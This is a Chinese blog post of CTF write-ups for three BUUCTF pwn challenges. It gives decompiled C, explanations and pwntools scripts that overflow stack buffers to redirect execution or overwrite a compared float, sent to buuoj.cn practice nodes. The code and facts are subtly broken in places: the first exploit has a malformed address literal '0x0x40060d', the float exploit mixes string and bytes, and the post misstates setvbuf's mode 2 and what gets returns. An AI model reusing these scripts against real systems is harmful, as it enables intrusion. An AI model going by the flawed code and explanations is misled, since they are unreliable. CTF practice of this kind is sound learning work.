首页 > 其他分享 >buu pwn wp(持续更新)

buu pwn wp(持续更新)

时间:2023-09-17 21:22:07浏览次数:32  
标签:std string 浮点数 buu char wp pwn BYREF 函数

1、warmup_csaw_2016

main函数如下

__int64 __fastcall main(int a1, char **a2, char **a3)
{
  char s[64]; // [rsp+0h] [rbp-80h] BYREF
  char v5[64]; // [rsp+40h] [rbp-40h] BYREF

  write(1, "-Warm Up-\n", 0xAuLL);
  write(1, "WOW:", 4uLL);
  sprintf(s, "%p\n", sub_40060D);
  write(1, s, 9uLL);
  write(1, ">", 1uLL);
  return gets(v5);
}
  1. 首先使用write函数打印文字引导"-Warm Up-", 新行
  2. 打印"WOW:", 不换行
  3. 使用sprintf函数将当前sub_40060D函数的地址以16进制格式打印到字符串s中,打印地址和新行
  4. 打印">",不换行
  5. 使用gets函数从标准输入读取一行字符到缓冲区v5中
  6. 返回gets函数读取到的字符数量

提示我们查看sub_40060D函数

sub_40060D函数如下:

int sub_40060D()
{
  return system("cat flag.txt");
}

发现是后门函数,可以利用get函数进行栈溢出

exp:

from pwn import *
r = remote("node4.buuoj.cn",25798)
offset = 0x40+8
payload = b'a'*offset+p64(0x0x40060d)
r.sendline(payload)
r.interactive()

2、ciscn_2019_n_1

main函数如下:

int __cdecl main(int argc, const char **argv, const char **envp)
{
  setvbuf(_bss_start, 0LL, 2, 0LL);
  setvbuf(stdin, 0LL, 2, 0LL);
  func();
  return 0;
}

这段代码是 C 语言主函数 main 的实现:

  • main 函数的参数及返回值符合标准 C 语言主函数定义
  • argc 和 argv 是命令行参数,envp 是环境变量
  • setvbuf 函数是设置输入/输出缓冲方式的函数:
    • _bss_start 是未初始化数据段的起始位置
    • 0LL 表示不使用缓冲
    • 2 表示使用行缓冲模式
    • 0LL 表示缓冲区大小由函数自动决定
  • 因此 setvbuf 为 _bss_start 和标准输入 stdin 设置行缓冲模式
  • 调用 func() 函数
  • 返回 0 表示程序成功终止

主要功能是:

  1. 设置未初始化数据段和标准输入为行缓冲模式
  2. 调用函数 func
  3. 返回主函数退出码 0

继续查看func()函数:

int func()
{
  int result; // eax
  char v1[44]; // [rsp+0h] [rbp-30h] BYREF
  float v2; // [rsp+2Ch] [rbp-4h]

  v2 = 0.0;
  puts("Let's guess the number.");
  gets(v1);
  if ( v2 == 11.28125 )
    result = system("cat /flag");
  else
    result = puts("Its value should be 11.28125");
  return result;
}

有两种方法:

1.利用gets(v1)进行栈溢出,然后执行system("cat /flag")

字符串v1:

image.png

exp如下:

from pwn import *
r = remote("node4.buuoj.cn",25798)
sys_addr = 0x4006BE
payload = b'A'*(0x30+8) + p64(sys_addr)
r.send(payload)
r.interactive()

2.利用gets(v1)进行栈溢出,覆盖到v2的部分,将v2的值修改为11.28125
观察到v2是从0x04开始,我们需要覆盖0x30-0x04个a

image.png

这行disassemble代码是对xmm0和存储在cs段中的地址0x4007F4处double字进行单精度浮点数比较的ucomiss指令。

具体来说:

  • ucomiss:单精度浮点数比较指令,比较xmm0和直接地址指定的单精度浮点数,结果存储在状态寄存器中。
  • xmm0:xmm寄存器,用于存放单精度浮点数操作数。
  • cs:dword_4007F4:使用cs段基址加上偏移0x4007F4处存放的单精度浮点数。
  • cs段是代码段,通常存储程序代码及静态数据,0x4007F4处可能是某个全局单精度浮点数常量。

所以这条指令是将xmm0寄存器中的单精度浮点数与存储在0x4007F4地址处的单精度浮点常量进行比较,结果通过状态寄存器表示哪个数较大或两数是否相等。

一般情况下这种cmp指令常用于判断单精度浮点数是否满足某个条件,属于浮点数比较及条件判断常用操作。

我们跟进0x4007F4,发现此处存放着41348000h,即11.28125的十六进制。

于是exp如下:

from pwn import *

p=remote('node3.buuoj.cn',29191)
offset = 0x30-0x04
payload = "A"*offset + p64(0x41348000)
p.sendline(payload)

p.interactive()  

3、pwn1_sctf_2016

32位

main函数如下:

int __cdecl main(int argc, const char **argv, const char **envp)
{
  vuln();
  return 0;
}

vuln()函数如下:

int vuln()
{
  const char *v0; // eax
  char s[32]; // [esp+1Ch] [ebp-3Ch] BYREF
  char v3[4]; // [esp+3Ch] [ebp-1Ch] BYREF
  char v4[7]; // [esp+40h] [ebp-18h] BYREF
  char v5; // [esp+47h] [ebp-11h] BYREF
  char v6[7]; // [esp+48h] [ebp-10h] BYREF
  char v7[5]; // [esp+4Fh] [ebp-9h] BYREF

  printf("Tell me something about yourself: ");
  fgets(s, 32, edata);
  std::string::operator=(&input, s);
  std::allocator<char>::allocator(&v5);
  std::string::string(v4, "you", &v5);
  std::allocator<char>::allocator(v7);
  std::string::string(v6, "I", v7);
  replace((std::string *)v3);
  std::string::operator=(&input, v3, v6, v4);
  std::string::~string(v3);
  std::string::~string(v6);
  std::allocator<char>::~allocator(v7);
  std::string::~string(v4);
  std::allocator<char>::~allocator(&v5);
  v0 = (const char *)std::string::c_str((std::string *)&input);
  strcpy(s, v0);
  return printf("So, %s\n", s);
}

这段代码实现了一个简单的字符串替换。

主要步骤:

  1. 使用printf打印提示用户输入个人信息
  2. 使用fgets获取输入存入缓冲区s
  3. 将s赋值给全局变量input
  4. 构造两个子字符串"you"和"I"
  5. 调用replace函数替换input中的"I"为"you"
  6. 打印替换后的结果

fgets(s, 32, edata);只能读入32个字符
而s从0x3C开始,32个字符无法溢出,但是由于程序会把I替换成you

image.png

于是我们就可以造成溢出了
exp如下:

from pwn import *

#r = process('/home/miyu/桌面/warmup_csaw_2016')
#attach(r)
r = remote("node4.buuoj.cn",25798)

payload = b'I'*20+b'a'*4 + p32(0x8048F0D)
r.sendline(payload)

r.interactive()

标签:std,string,浮点数,buu,char,wp,pwn,BYREF,函数
From: https://www.cnblogs.com/Smera1d0/p/17709844.html

相关文章

  • 【愚公系列】2023年09月 WPF控件专题 ListView控件详解
    (文章目录)前言WPF控件是WindowsPresentationFoundation(WPF)中的基本用户界面元素。它们是可视化对象,可以用来创建各种用户界面。WPF控件可以分为两类:原生控件和自定义控件。原生控件是由Microsoft提供的内置控件,如Button、TextBox、Label、ComboBox等。这些控件都是WPF中常见......
  • PWN做题笔记1
    原题在某个名字被51cto屏蔽了的CTF刷题网站,题目为ret2text题目属于栈溢出给出了地址和端口,压缩包中有一个二进制程序pwnfile命令可以看到是64位ELF程序,这里pwn是文件名checksec发现没有开启任何安全措施程序运行如下:ida64反汇编,发现gets输入没有边界检查0x70,存在注入:secure函数调用......
  • WPF动画入门教程
    WPF动画入门教程 WindowsPresentationFoundation(WPF)是一种用于创建Windows客户端应用程序的UI框架。它让我们能够创建丰富的图形界面,包括各种各样的动画效果。接下来,我们将介绍如何在WPF中创建简单的动画。文章最后将给出源码,源码包括文章中的动画和一个水印按钮,一个简......
  • WPF使用WebView2的空域问题的解决方案
    我在之前文章中介绍过WPF使用WebView2的空域问题(Airspaceissuse),距离那篇文章大半年后,那个issue下有一个第好用的第三方解决方案了,我这里介绍一下。引入Microsoft.Web.WebView2组件,同时引入CrissCross.WPF.WebView2组件<ItemGroup><PackageReferenceInclude="CrissCross.......
  • 【愚公系列】2023年09月 WPF控件专题 TabControl控件详解
    (文章目录)前言WPF控件是WindowsPresentationFoundation(WPF)中的基本用户界面元素。它们是可视化对象,可以用来创建各种用户界面。WPF控件可以分为两类:原生控件和自定义控件。原生控件是由Microsoft提供的内置控件,如Button、TextBox、Label、ComboBox等。这些控件都是WPF中常见......
  • WPF 抖动动画
    ///<summary>///控件抖动///</summary>///<paramname="translate"></param>///<paramname="power">抖动第一下偏移量</param>///<paramname="range"......
  • WPF动画入门教程
    WindowsPresentationFoundation(WPF)是一种用于创建Windows客户端应用程序的UI框架。它让我们能够创建丰富的图形界面,包括各种各样的动画效果。接下来,我们将介绍如何在WPF中创建简单的动画。文章最后将给出源码,源码包括文章中的动画和一个水印按钮,一个简单的时钟动画,一个复杂的......
  • 【愚公系列】2023年09月 WPF控件专题 Expander控件详解
    (文章目录)前言WPF控件是WindowsPresentationFoundation(WPF)中的基本用户界面元素。它们是可视化对象,可以用来创建各种用户界面。WPF控件可以分为两类:原生控件和自定义控件。原生控件是由Microsoft提供的内置控件,如Button、TextBox、Label、ComboBox等。这些控件都是WPF中常见......
  • 汽车类、4 通道DRV8904QPWPRQ1半桥电机驱动器,DRV8320RHRHAR 65V、三相智能栅极驱动器
    一、DRV8904-Q1 具有高级诊断功能的汽车类40V、6A、4通道半桥电机驱动器DRV8904QPWPRQ1是引脚对引脚兼容的集成多通道半桥驱动器系列,具有4至12个半桥。该器件系列具有低导通状态电阻(RDS(ON)),可在高电流运行期间提高热性能。该器件能够以独立、顺序或并行模式驱动刷式直......
  • CTFShow“萌心区”WP(上)
    (CTFShow“萌心区”WP详解(上)CTFShow平台:https://ctf.show/萌新认证纯签到题直接在公告找或者输入萌新码注意:萌新码是从一个固定池里随机分配的,不是统一的。萌新_密码1先进行base16解码然后解码出来的字符有=结尾感觉是base64得到一串像flag的字符串然后在使......